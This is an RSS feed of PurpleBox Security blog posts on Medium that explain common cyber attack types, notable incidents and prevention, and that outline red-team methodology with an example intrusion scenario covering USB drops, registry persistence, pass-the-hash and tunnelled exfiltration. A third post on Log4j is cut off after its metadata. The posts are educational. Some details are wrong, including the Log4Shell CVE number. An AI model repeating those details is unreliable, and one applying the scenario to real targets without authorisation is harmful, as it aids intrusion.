<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by prplbx on Medium]]></title>
        <description><![CDATA[Stories by prplbx on Medium]]></description>
        <link>https://medium.com/@prplbxcloud?source=rss-9b32dcf205f4------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*uGBGAO1dMDmrJ1ofJF16rA.png</url>
            <title>Stories by prplbx on Medium</title>
            <link>https://medium.com/@prplbxcloud?source=rss-9b32dcf205f4------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 04:18:44 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@prplbxcloud/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[What is a Cyber Attack?]]></title>
            <link>https://medium.com/purplebox/what-is-a-cyber-attack-a56cb540db97?source=rss-9b32dcf205f4------2</link>
            <guid isPermaLink="false">https://medium.com/p/a56cb540db97</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[appsec]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[prplbx]]></dc:creator>
            <pubDate>Fri, 18 Mar 2022 05:34:00 GMT</pubDate>
            <atom:updated>2022-03-31T12:15:57.264Z</atom:updated>
            <content:encoded><![CDATA[<p><em>This blog post was published on </em><a href="https://www.prplbx.com/resources/blog/what-is-red-teaming"><em>PurpleBox </em></a><em>website on </em>Mar 16th, 2022.</p><h3>1. Introduction</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/266/0*omY06X_8U9e9ogU1.png" /></figure><p>A cyber attack is an attempt to harm computers, computing systems, or networks without any authorization. The purpose of the cyber attack is to disable, disrupt, destroy, or control the computing systems or change, block, delete, manipulate, or steal the data inside the systems. Cyber attacks can range from installing malware on a personal computer to national security issues. There are two types of attacks: Active Attacks and Passive Attacks. The differences between active and passive attacks can be summarized below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LBi-V0lC9t7JoDpCvdwSGw.png" /></figure><p>The person who executes the cyber attacks are called cyber criminals. Cyber criminals have different motives behind their actions. For example, they can steal data or money for financial gain, take revenge on a current or previous job, draw attention to themselves for social or political purposes, espionage, or take unfair advantage of competitors. Also, it can happen for a challenge. Every year millions of devices are affected by cyber-attacks. Considering that the use of computer systems is increasing day by day, cyber attacks increase exponentially. For example, due to COVID-19, cyber crime has increased by 600%.</p><p>Today we are going to talk about what a cyber attack is. Our first topic is the most common types of cyber attacks. Next, we will talk about the worst cyber attacks in history, and finally, we will be talking about the prevention of cyber attacks. Let’s start!</p><h3>2. Most Common Types of Cyber Attacks</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/0*_6anf2izuBPf3YZw.jpg" /></figure><p>This image visualizes the common cyber attack types which are described in this blog post.</p><h4>Phishing</h4><p>Phishing is one of the oldest methods of stealing user data, such as login passwords and credit card details, through email. It’s still a problem in businesses of all sizes. It happens when a hacker acts as a trustworthy entity and tricked a victim into opening an email in order to manipulate them into doing actions like installing a malicious file, clicking a malicious link, or sharing critical information like access credentials. The most popular type of social engineering is also phishing.</p><h4>Types of Phishing Attacks:</h4><ul><li><strong>Email Phishing:</strong> Most phishing attacks are sent via email. Attackers usually create fake domain names that seem like legitimate companies and send victims hundreds of repetitive requests.</li><li><strong>Spear Phishing:</strong> This phishing attack type is also sent via email. It is designed to target specific persons or groups in order to get personal information or infect their devices with malware.</li><li><strong>Whaling:</strong> This type is the same as spear phishing, but it differs from spear-phishing in that it targets high-profile, well-known, and wealthy individuals — CEOs, top-level executives, even celebrities.</li><li><strong>Vishing:</strong> This one is also aimed at stealing personal information over the phone, not by email.</li><li><strong>Smishing:</strong> On this one fraudsters use mobile phone text messages for the same purposes.</li><li><strong>Angler Phishing:</strong> This one is a new type of phishing attack that targets social media users. Attackers use social media to impersonate a customer service agent in order to get access to a client’s personal information or account credentials.</li></ul><h4>Brute Force Attack</h4><p>A brute-force attack is a password cracking technique used by cybercriminals to find out account credentials, especially passwords. In a brute-force attack, the attacker will often have a dictionary of common keywords and passwords that they would use to “guess” the password of a user. Until they find out the correct login information, the hacker tries various usernames and passwords, usually using a tool to try a wide range of combinations.</p><h4>Types of Brute Force Attacks:</h4><ul><li><strong>Simple Brute Force Attacks:</strong> An attacker can guess a user’s password by combining known information about the user to enter a series of values. This could be due to information found online or a social engineering attack.</li><li><strong>Dictionary Attacks:</strong> A dictionary attack is a type of brute force hacking in which the attacker chooses a target and then tries potential passwords on the user’s account.</li><li><strong>Hybrid Brute Force Attacks:</strong> When a hacker combines a dictionary attack technique with a simple brute force attack, it’s called a hybrid brute force attack. It starts with a hacker knowing a username, followed by a dictionary attack and brute force methods to find an account login combination.</li><li><strong>Reverse Brute Force Attack:</strong> Reverse brute force attacks use a common group of passwords or an individual password against a list of potential usernames rather than a single username.</li><li><strong>Credential Stuffing:</strong> Users often reuse passwords across multiple websites. When an attacker gets access to a user’s password on one site, the attacker will attempt the same passwords on other sites.</li></ul><h4>Denial-of-service (DoS) Attack</h4><p>A denial-of-service (DoS) attack tries to disrupt a network or resource by overloading it with fake traffic, preventing users from accessing the targeted service.</p><h4>Types of DoS Attacks:</h4><ul><li><strong>Distributed denial-of-service (DDoS):</strong> DoS attacks used to be limited to a single system attacking another. While a DoS attack today may be carried out in a similar way, the majority of modern DoS attacks include a large number of systems under the attacker’s control, all targeting the target at the same time.</li><li><strong>Network-targeted denial-of-service:</strong> The hacker will try to consume all available network bandwidth so that normal traffic to and from the targeted computers is blocked.</li><li><strong>System-targeted denial-of-service:</strong> Depletion of resources is a popular attack vector in which the attacker purposefully consumes limited system resources (e.g. memory, CPU) in order to disrupt the target’s normal operations.</li></ul><h4>SQL Injection</h4><p>The <a href="https://www.prplbx.com/resources/blog/sql-injection/">SQL injection attack</a> is using malicious SQL queries to exploit application vulnerabilities.</p><h4>Types of SQL Injection Attack:</h4><ul><li><strong>In-band SQLi:</strong> When an attacker can initiate an attack and gather results using the same communication channel, this is called In-band SQL Injection.</li><li><strong>Out-of-band SQLi:</strong> Out-of-band SQL injection occurs when an attacker is unable to use the same channel to launch the attack and gather results.</li><li><strong>Inferential (Blind) SQLi:</strong> When the attacker cannot view the results of the SQLi attack since the web application database is not delivering the data it is called Inferential SQLi. As a result, the attacker sends queries and attempts to create the database’s structure by analyzing the web application’s response and the database’s activity.</li></ul><h4>Cross-site Scripting (XSS) Attack</h4><p><a href="https://www.prplbx.com/resources/blog/owasp-top10/#cross-site-scripting">Cross-site scripting (XSS)</a> is an exploit in which an attacker embeds code on a website that activates when the victim accesses it. Malicious code can be injected in a variety of methods.</p><h4>Types of Cross-site Scripting (XSS) Attack:</h4><ul><li><strong>Reflected XSS:</strong> The malicious script comes from the current HTTP request.</li><li><strong>Stored XSS:</strong> The malicious script comes from the website’s database.</li><li><strong>DOM-based XSS:</strong> The vulnerability exists in client-side code rather than server-side code.</li></ul><h4>Remote Code Execution (RCE) Attack</h4><p>RCE vulnerabilities allow an attacker to execute arbitrary code on a vulnerable remote device.</p><h4>Types of Remote Code Execution (RCE) Attack:</h4><ul><li><strong>Injection Attacks:</strong> The attacker supplies flawed input with the intention of making it processed as part of the command. This can be used to manipulate the regular commands that are performed on the vulnerable machine.</li><li><strong>Deserialization Attacks:</strong> Serialization is a technique for combining multiple pieces of data into a single string so it can be transmitted or communicated more easily. The deserialization tool may read specially prepared user input by the attacker, within the serialized data as executable code.</li><li><strong>Out-of-Bounds Write:</strong> On a regular basis, apps assign fixed-size memory pieces for storing data, including user-provided data. If this memory allocation is done incorrectly, an attacker could exploit this to create an input that writes outside of the allocated buffer. Because executable code is also kept in memory, the application may be able to execute user-provided data if input is written in the correct form by the attacker.</li></ul><h3>3. Worst Cyber Attacks that We Know</h3><h4>Apache Log4j Vulnerability</h4><p><a href="https://www.prplbx.com/resources/blog/log4j">Apache Log4j Vulnerability also known as Log4Shell (CVE-2021–4428)</a>, is a critical vulnerability that uses the core function of Apache Log4j2 and allows unauthenticated remote code execution.</p><p>The vulnerability allows an attacker to:</p><ul><li>Access all data or the entire network through the affected device or application</li><li>Run code</li><li>Access files</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*cokl-46P-airIpUS.png" /></figure><p>In the United States, the exploit was called “critical” and advised vendors to prioritize software updates. Germany called the exploit as being at its highest threat level, calling it an “extremely critical threat situation”. Canada called on organizations to take on immediate action.</p><p>The vulnerability could be mitigated by disabling the feature that caused the vulnerability with a configuration setting that was removed in Log4j version 2.15.0-rc1 (officially released on December 6, 2021, three days before the vulnerability was published) and replaced by various settings restricting remote lookups. All JNDI-based features will be disabled by default, and support for message lookups will be removed starting with version 2.16.0. You can read more about it <a href="https://www.prplbx.com/resources/blog/log4j">here.</a></p><h4>SolarWinds Sunburst Attack</h4><p>SUNBURST is a supply chain attack that uses a backdoor inserted in a supplier to indirectly target and hack businesses all over the world. The attackers hide a Trojan successfully in a software update of the SolarWinds Orion software and pushed this update to about 33,000 public and private clients. Federal government organizations were among them.</p><p>The attack was found eight months after the first breach, in December 2020. It had an influence on US government agencies, technological firms, and nations like Canada, Belgium, the United Kingdom, and Israel.</p><p>SUNBURST attack flow is as follows:</p><ol><li>Initial penetration</li><li>Execution</li><li>Evading detection</li><li>C2 (command and control)</li><li>Lateral movement</li><li>Exfiltration</li></ol><p>The attackers showed great secrecy and patience, and instead of taking action rashly, they moved forward by prioritizing operational security. This is what made this attack unique. The full scope and impact of this event are still to be determined, but it could still cause significant disruption to the software development and cybersecurity industries.</p><h4>WannaCry Ransomware Attack</h4><p><a href="https://www.prplbx.com/resources/blog/wannacry/">WannaCry</a> is a ransomware cryptoworm that encrypts (locks) data on computers running the Microsoft Windows operating system and requests ransom payments in Bitcoin cryptocurrency. WannaCrypt, Wana Decrypt0r 2.0, WanaCrypt0r 2.0, and Wanna Decryptor are all names for the worm.</p><p>According to Europol, the ransomware campaign was unprecedented in scope, with an estimated 200,000 computers infected across 150 countries. Russia, Ukraine, India, and Taiwan were the four countries most affected, according to Kaspersky Lab.</p><p>Economic losses from the cyber attack could reach up to $4 billion, according to cyber-risk modeling firm Cyence, with other groups estimating losses in the hundreds of millions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ys1yDXj6Ks9LwLrM.png" /></figure><p>WannaCry spreads by jumping from corporate networks to other Windows systems. Computer users do not have to click on a link or open an infected file, unlike in phishing attacks. WannaCry simply searches for other vulnerable systems to penetrate (in some versions, stolen credentials are used), then copies and executes the program over and over. As a result, a single vulnerable computer on a corporate network can put the entire company at risk.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/0*oDeGdmSr9vGT6RIR.png" /></figure><p>Cybersecurity steps to prevent a WannaCry ransomware attack:</p><ul><li>Install the latest software</li><li>Perform backups</li><li>Cybersecurity awareness training</li></ul><h3>4. How to Prevent Cyber Attacks</h3><p>There are various ways to protect ourselves from cyber attacks. You should take personal precautions to be protected. In addition to that, there are various management tools that companies can use to protect their end devices.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*jExASn1E3rvziCpv.png" /></figure><p>Some of the most <strong>common and useful recommendations</strong> to prevent cyber attacks for individuals are:</p><ul><li><strong>Use a strong password:</strong> If your password is too short, or contains dictionary words, then it can be easily cracked through guessing or brute force. The easiest way to make a strong password is by making it at least 12 characters. Alternatively, use a password generator to create a long, strong random password.</li><li><strong>Don’t reuse passwords:</strong> If someone reuses a password, and that password leaks on another site, then a criminal could easily gain unauthorized access to their other accounts. This is usually done through large-scale automated login requests, and it is called Credential Stuffing. This is common, but it’s simply avoidable by using different passwords for online accounts.</li><li><strong>Use a secure password manager:</strong> For most people, it is going to be near-impossible to remember hundreds of strong and unique passwords. A password manager is an application that generates, stores, and auto-fills your login credentials for you. All your passwords will be encrypted using 1 master password. You should select a strong password and remember only that password. An example password manager and the recommendation of PurpleBox is <a href="https://1password.com/">1Password</a>. 1Password is a password manager developed by <a href="https://www.linkedin.com/company/agilebits-inc/about/">AgileBits Inc</a>. It provides a place for users to store various passwords, software licenses, and other sensitive information in a virtual vault that is locked with a master password.</li><li><strong>Enable multi-factor authentication:</strong> MFA is where you must provide both your password and your chosen authentication method to log in. This means that if anyone has got your password through an attack, they will not be able to log into your account without your MFA device or account. You can download an authenticator app onto your phone or enable MFA through email or phone. Next time you log in on a new device, you will be prompted for the code that you get.</li><li><strong>Ensure websites you visit are legitimate:</strong> When using online resources, double-check if the URL is correct. When visiting new websites, look for common signs that could show if the website is unsafe: Browser warnings, redirects, on-site spam, and pop-ups. Also, check for HTTPS. If you enter information on a non-HTTPS website, it travels the Internet unencrypted and can therefore be read by anyone who intercepts it. Do not enter any data on a non-HTTPS website.</li><li><strong>Watch out for browser malware:</strong> Your system or browser can be compromised by various malicious parties, such as spyware, miners, browser hijackers, malicious redirects, adware. You can usually stay protected just by ignoring pop-ups and being careful about you’re clicking, don’t proceed to a website if your browser warns you it may be malicious. Common signs of browser malware are: default search engine or homepage has been modified, toolbars, unfamiliar extensions or icons, significantly more ads, errors, and pages loading much slower than usual.</li><li><strong>Only install apps from trusted sources:</strong> Applications on Apple App Store and Google Play Store are scanned and cryptographically signed, making them less likely to be malicious. Avoid downloading files from unverified sources, unless you are sure that they are safe. Also check the reviews and the app information before downloading it.</li><li><strong>Keep your system up to date:</strong> New vulnerabilities are constantly being discovered. System updates contain fixes and patches for these new issues that usually enhance performance, and sometimes add new features. You should install new updates when prompted to avoid your system being exploited.</li><li><strong>Be cautious about USB devices:</strong> Think before inserting a USB device into your PC, as there are many threats that come in the form of a USB device. For example, a USB Killer can destroy your computer by rapidly charging and discharging capacitors. A Bad USB will act as a keyboard, and once plugged in, it will proceed to rapidly type commands, often with severe consequences. There are remote access tools that give a hacker full remote access to your PC, even after the device has been removed. And of course, there are traditional USB drives that contain malware that infect your device once inserted. To prevent being subject to such attacks, avoid plugging in devices from unknown sources.</li><li><strong>Use Virtual Cards when paying online:</strong> There are risks involved in entering your card details on any website. Credit cards have better consumer protection, compared to debit or bank cards, however they do not prevent websites from collecting and sometimes selling your transaction history. A better option would be to pay with a virtual, 1-time card. Virtual card numbers let you pay for items without revealing your banking details. This will mean even if those credentials are compromised, a hacker will not be able to use them. You can also set spending limits or create single-use cards to prevent being over-charged. This means you cannot be charged more than what you specified.</li></ul><p><a href="https://www.prplbx.com/security">PurpleBox </a>recommends solutions developed by <a href="https://www.sophos.com/en-us?id=001f100001GbgtV">Sophos</a>, <a href="https://www.datto.com/">Datto</a>, and <a href="https://www.qualys.com/?leadsource=22137391">Qualys</a> to help businesses in preventing cyber attacks.</p><p><a href="https://www.sophos.com/en-us?id=001f100001GbgtV"><strong>Sophos</strong></a><strong>:</strong> Sophos is a good, low-cost antivirus. it’s got near-perfect malware detection rates, all the basic features most users need to keep their devices secure, and a couple of cool extras. Sophos Endpoint Protection makes it simple to secure your Windows, Mac and Linux systems against malware and other endpoint threats. Sophos integrates proven technology like malicious traffic detection with real-time threat intelligence to help you prevent and detect threats with ease. Web, application, and peripheral access policies can be applied to registered users.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/268/0*vLKP_li9ZGjIUeQG.png" /></figure><p>Sophos Anti-Virus detects and cleans up viruses, Trojans, worms, and spyware, as well as adware and other potentially unwanted applications. The Host Intrusion and Prevention System technology of Sophos can also protect your computer from suspicious files.</p><p><a href="https://www.datto.com/"><strong>Datto</strong></a><strong>:</strong> Datto Remote Monitoring and Management (RMM) is a fully-featured, secure, cloud-based platform that can be used to remotely secure, monitor, manage, and support endpoints to reduce costs and increase service delivery efficiency. Datto RMM consists of two separate applications: the web interface and the Agent. The Datto RMM Agent is a lightweight software program installed on a device. The Agent gathers up-to-date information about the device’s health and status and communicates it to the Web Portal. Having the necessary information ready in the Web Portal, the Datto RMM administrator can use the Agent to proactively monitor the devices, deploy patches, push out policies, create alerts and tickets, execute scripts, run scheduled jobs, or even enable a remote connection to these devices.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/146/0*fIVFxT2rvzO-lYkG.png" /></figure><p>The Agent Browser allows you to:</p><ul><li>Take a screenshot of the endpoint or open a remote takeover tool</li><li>Open a command shell on the remote device or access its Service Manager, Task Manager, File Manager, Registry Editor, or Event Viewer</li><li>Shut down or restart the remote device</li><li>Deploy an Agent to devices on the remote network and wake up those devices</li><li>Run quick jobs on the remote device</li></ul><p><a href="https://www.qualys.com/?leadsource=22137391"><strong>Qualys</strong></a><strong>:</strong> Qualys is a commercial vulnerability and web application scanner. It helps businesses simplify IT security operations and lower the cost of compliance. Its integrated suite of security and compliance solutions provides organizations of all sizes with a global view of their security and compliance solutions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/158/0*nmaVgYfY_EBwvLLd.png" /></figure><p>Qualys solutions include continuous monitoring, vulnerability management, policy compliance, PCI compliance, security assessment questionnaire, web application scanning, web application firewall, and more. It can be used to proactively locate, identify, and assess vulnerabilities so that they can be prioritized and corrected before they are targeted and exploited by attackers. Qualys can also be used to scan for vulnerabilities in web applications. The Qualys Web Application Scanner (WAS) focuses on web application vulnerabilities, such as the industry-standard Open Web Application Security Project Top 10 list, to categorize the most critical risks faced by web apps. The Qualys Web Application Scanner finds these vulnerabilities.</p><h3>5. Conclusion</h3><p>In this blog, we have summarized what a cyber attack is and explained the most common types of cyber attacks. We talked about the worst cyber attacks in history and finally listed some recommendations to prevent cyber attacks.</p><p><em>If you want to read more on this topic, feel free to check out the</em><a href="https://www.prplbx.com/resources/blog"><em> PurpleBox Blog Section.</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a56cb540db97" width="1" height="1" alt=""><hr><p><a href="https://medium.com/purplebox/what-is-a-cyber-attack-a56cb540db97">What is a Cyber Attack?</a> was originally published in <a href="https://medium.com/purplebox">PurpleBox Security</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[What is Red Teaming?]]></title>
            <link>https://medium.com/purplebox/what-is-red-teaming-b7fc0a5595fd?source=rss-9b32dcf205f4------2</link>
            <guid isPermaLink="false">https://medium.com/p/b7fc0a5595fd</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[appsec]]></category>
            <dc:creator><![CDATA[prplbx]]></dc:creator>
            <pubDate>Thu, 03 Feb 2022 06:56:09 GMT</pubDate>
            <atom:updated>2022-02-03T14:21:21.145Z</atom:updated>
            <content:encoded><![CDATA[<p><em>This blog post was published on </em><a href="https://www.prplbx.com/resources/blog/what-is-red-teaming"><em>PurpleBox </em></a><em>website on </em>Feb 2nd, 2022.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TE0cERrS2_lgr7QWrUOv-Q.png" /></figure><p>Red Teaming is a simulation of a real attacker’s activity that is based on the most up-to-date knowledge regarding risks that are relevant to a specific company. It assists independent security teams in configuring real-world attacks to determine where the organizational barrier may be breached, allowing the business to address the issue. The military and intelligence communities coined the term “Red Teaming.” Red Teaming’s core idea is to get an adversary’s perspective into an organization’s defense mechanism.</p><p>The red team gains initial access usually through the theft of user credentials or Social Engineering techniques. Once within the network, the Red Team boosts its privileges and advances laterally across systems to infiltrate the network as deeply as possible while avoiding detection.</p><h3>Why is Red Teaming Important?</h3><p>Red Teaming aids in the protection of your firm and all of its assets. Red Teaming focuses on your company’s technology, people, and physical locations to ensure that you are prepared for whatever comes your way. For businesses of all sizes, red teaming is essential. This is because Red Teams are expected to be more inventive and “thinking outside the box” than a traditional penetration test.</p><h3>The Red Team Methodology</h3><figure><img alt="This picture explains red team methodology." src="https://cdn-images-1.medium.com/max/590/0*nj9BhG0BrPv_sV6p.png" /></figure><p><strong>Initial Reconnaissance:</strong> The assailant researches a potential victim. The attacker chooses the targets (both systems and humans) and his/her assault strategy. To exploit, the attacker can hunt for Internet-facing services or individuals.</p><p><strong>Initial Compromise:</strong> On one or more systems, the attacker successfully executes malicious code. This is most usually accomplished using <a href="https://www.kaspersky.com/resource-center/definitions/what-is-social-engineering">Social Engineering</a> (most commonly spear phishing), the use of a vulnerability on an Internet-facing system, or any other means available.</p><p><strong>Establish Foothold:</strong> The attacker ensures that a freshly hacked system remains under his/her control. Typically, the attacker gains a foothold on the victim’s machine by installing a persistent backdoor or downloading other programs or malware.</p><p><strong>Privilege Escalation:</strong> The attacker gains more control over systems and data. <a href="https://attack.mitre.org/techniques/T1003/001/">Password hash dumping</a> (followed by password cracking or <a href="https://attack.mitre.org/techniques/T1550/002/">pass-the-hash attacks</a>), keystroke/credential logging, getting PKI certificates, leveraging privileges held by an application, or attacking a weak piece of software are all common ways for attackers to elevate their privileges.</p><p><strong>Internal Reconnaissance:</strong> The attacker investigates the victim’s surroundings to obtain a greater grasp of the environment, important individuals’ roles and duties, and the location of sensitive information stored by the company.</p><p><strong>Lateral Movement:</strong> The attacker utilizes his/her access to move from system to system within the compromised environment.</p><p><strong>Maintain Presence:</strong> The attacker ensures continued access to the environment.</p><p><strong>Complete Mission:</strong> The attacker achieves his objective. This frequently entails stealing intellectual property, financial data, knowledge about mergers and acquisitions, or <a href="https://www.dol.gov/general/ppii#:~:text=Personal%20Identifiable%20Information%20(PII)%20is,either%20direct%20or%20indirect%20means.">Personally Identifiable Information (PII)</a>.</p><h3>How Does Red Teaming Work?</h3><p>To obtain access to the network and move undetected across the environment, a successful red team must be devious, adopting the attitude of a skilled opponent. The ideal red team member is both technical and creative, with the ability to exploit system flaws and human nature. The Red Team must also be familiar with threat actor tactics, methods, and procedures (TTPs), as well as the attack tools and frameworks used by today’s adversaries.</p><p>A member of the red team should have the following qualifications:</p><ul><li>A red team member should have a thorough understanding of computer systems and protocols, as well as security methodologies, tools, and protections.</li><li>Strong software programming abilities are required to create specialized tools that bypass typical security methods and controls.</li><li>Experience in penetration testing, which would allow you to exploit common flaws while avoiding activities that are frequently observed or easily recognized.</li><li>Skills in social engineering that enable a team member to persuade others to share information or credentials</li></ul><p>Looking at how a typical red team exercise unfolds is the greatest approach to understanding the details of how Red Teaming works. There are various stages in a typical red team process:</p><ul><li>The purpose of the exercise will be agreed upon by the organization’s Red Team (whether in-house or externally contracted). This purpose could, for example, be the retrieval of sensitive information from a specific server.</li><li>After that, the Red Team will conduct <a href="https://osintframework.com/">reconnaissance</a> on the objective. A map of the target systems, including network services, web apps, and employee services, will be created as a result of this.</li><li>An attempt will be made to gain a session on the system using phishing techniques or any detected vulnerabilities.</li><li>The Red Team will utilize their access to probe for other vulnerabilities after valid access tokens have been secured.</li><li>If more vulnerabilities are discovered, the Red Team will try to raise their access level to the required level to get access to the target.</li><li>The target data or asset is reached once this is accomplished.</li></ul><p>In actuality, an experienced Red Team member will apply a wide range of methods to complete each of these phases. However, the main conclusion from the sample attack scheme above is that tiny flaws in individual systems can add up to catastrophic failures when chained together.</p><figure><img alt="Red Team Tactics" src="https://cdn-images-1.medium.com/max/590/0*9iTCNvvk03LhWOxY.png" /></figure><h3>Exercising with the Red Team</h3><p>To exploit flaws in the security architecture, red teams employ a range of approaches and tools. A red team member may, for example, infect the host with malware to disable security protections or use social engineering tactics to gain access credentials while posing as a hacker.</p><p>The MITRE ATT&amp;CK Framework, a globally accessible knowledge repository of competing tactics, techniques, and methodologies based on real-world experience and events, is often used in red team events. The framework serves as a platform for building prevention, detection, and response capabilities that can be tailored to the specific needs of each organization as well as emerging new threats. In addition, they shape their attacks by following the Cyber Kill Chain pattern.</p><p>The following are some examples of red team activities:</p><ul><li>Penetration testing is when a member of the red team tries several real-world tactics to gain access to a system.</li><li>Employees or other network members are manipulated into sharing, disclosing, or inventing network credentials through social engineering techniques.</li><li>Intercepting communication to map the network or learn more about the surroundings to get beyond standard security measures</li><li>Cloning an administrator’s access cards to obtain access to locations that aren’t prohibited</li></ul><h3>What is the MITRE ATT&amp;CK Framework?</h3><p>In 2013, MITRE published the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK Framework</a> to detail attacker tactics and approaches based on real-world observations. This index is constantly updated to reflect changes in the threat landscape, and it has become a well-known information repository for the industry to better understand attacker models, techniques, and countermeasures.</p><h3>What is the Cyber Kill Chain Method?</h3><p>The <a href="https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html">Cyber Kill Chain</a> is essentially a Cybersecurity model created by Lockheed Martin that traces the stages of a cyber-attack, identifies vulnerabilities, and helps security teams to stop the attacks at every stage of the chain.</p><figure><img alt="Cyber Kill Chain Method" src="https://cdn-images-1.medium.com/max/590/0*aRiFpbE2fZkZk3rv.png" /></figure><h3>Example Red Teaming Scenario</h3><p>An example scenario is shown using the Cyber Kill Chain method:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/0*2T7Yn6sEw0KZBL-X.png" /></figure><p><strong>Reconnaissance:</strong> The IP addresses of the customer, the ports open on these addresses, the services running on the ports, the social media accounts and the e-mail addresses of the employees are determined.</p><p><strong>Weaponization:</strong> Exploit code or malware was prepared and installed inside the USB device.</p><p><strong>Delivery:</strong> The place where people are active is detected and the prepared USB device is thrown to the relevant place. By exploiting people’s curiosity requests, it is ensured that the USB device is taken by someone.</p><p><strong>Exploitation:</strong> Access to the target computer is provided by the person who finds the USB device, plugging it into a computer belonging to the customer.</p><p><strong>Installation:</strong> The authorization control of the user obtained on the target computer is performed. If this user is a low-authority user, vulnerabilities are detected on the system where we can increase the authority. If our user privileges are high, persistence is ensured by adding a new key to the “HKCU\Software\Microsoft\CurrentVersion\Run” path to ensure persistence. Afterward, access to the password information of the users who are logged on to the computer over the memory is provided.</p><p><strong>Command &amp; Control:</strong> Communication with the command server is started. Horizontal movement is performed on the network with the Pass the Hash attack by using the user information obtained from the memory. Until the Domain Admin user is obtained, active user information is obtained from the memory of each computer logged in.</p><p><strong>Actions On Objectives:</strong> By using methods such as <a href="https://www.paloaltonetworks.com/cyberpedia/what-is-dns-tunneling">DNS Tunneling</a>, SSH Tunneling or <a href="https://www.mit.edu/afs.new/sipb/user/golem/tmp/ptunnel-0.61.orig/web/">ICMP tunneling</a>, critical data transmitted by the customer to us is leaked. Red teaming is completed successfully when critical data is extracted.</p><p>Pentest is carried out with the knowledge of the participants. It isn’t stealthy or elusive, and it lacks the Blue Team’s capacity to detect and respond because the <a href="https://csrc.nist.gov/glossary/term/blue_team">Blue Team</a> is aware of the scope and test being undertaken.</p><p>Red teaming, on the other hand, concentrates on advanced threat actors who use stealth and carry out real-world attacks. This is done to identify weaknesses in the defensive approach. Understanding how an organization responds to real-world attacks is the true value of this.</p><p>Because red teaming is a covert operation, it is carried out without the knowledge of the Blue Team. If the Blue Team discovers malicious activity, it takes action.</p><figure><img alt="https://owasp.org/www-project-web-security-testing-guide/" src="https://cdn-images-1.medium.com/max/590/0*szh8omxm14VO93SX.png" /></figure><p>In this blog post, we shared with you what Red Teaming is, the point of view of the Red Team and what methods it follows, what Cyber Kill Chain is, as well as what MITRE ATT&amp;CK Framework is and where it is used.</p><p>Every day, new security dangers emerge around the world. To be honest, Red Teaming is required for enterprises to remain resilient and deliver the greatest possible security. In conclusion, we can conclude that Red Teaming is very important for companies to reach a certain maturity of security level.</p><p>Stay safe from cyber-attacks!</p><p><em>If you want to read more on this topic, feel free to check out the</em><a href="https://www.prplbx.com/resources/blog"><em> PurpleBox Blog Section.</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b7fc0a5595fd" width="1" height="1" alt=""><hr><p><a href="https://medium.com/purplebox/what-is-red-teaming-b7fc0a5595fd">What is Red Teaming?</a> was originally published in <a href="https://medium.com/purplebox">PurpleBox Security</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[What is Apache Log4J Vulnerability and How to Prevent It?]]></title>
            <link>https://medium.com/purplebox/log4j-2564454c5c0e?source=rss-9b32dcf205f4------2</link>
            <guid isPermaLink="false">https://medium.com/p/2564454c5c0e</guid>
            <category><![CDATA[log4j]]></category>
            <category><![CDATA[vulnerability-management]]></category>
            <category><![CDATA[appsec]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[prplbx]]></dc:creator>
            <pubDate>Mon, 20 Dec 2021 05:43:38 GMT</pubDate>
            <atom:updated>2021-12-20T05:43:38.984Z</atom:updated>
